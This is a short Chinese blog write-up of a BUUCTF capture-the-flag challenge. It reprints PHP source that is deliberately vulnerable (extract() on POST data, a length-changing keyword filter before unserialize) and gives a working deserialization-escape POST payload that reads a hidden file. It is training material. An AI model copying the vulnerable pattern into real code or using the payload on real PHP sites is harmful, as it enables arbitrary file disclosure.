Loading

BUUFTC-日刷-[安洵杯 2019]easy_serialize_php-反序列化逃逸

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

首先是extract($_POST); ,因此可以实现变量覆盖。

而$_SESSION['img']可以当作一个数组来覆盖,(但是注意之前的值就没了)

 

注意filter,黑名单里面不是退出,而是替换为其他长度,结合这题的序列化,很明显是一道反序列化逃逸

至于原理也没啥好讲的,拼拼凑凑即可

payload:post输入数据

function=show_image&_SESSION[a]=phpphpphpflagflag&_SESSION[b]=a";s:1:"c";s:1:"c";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

 

posted @ 2021-12-01 01:03  Aninock  阅读(26)  评论(0编辑  收藏  举报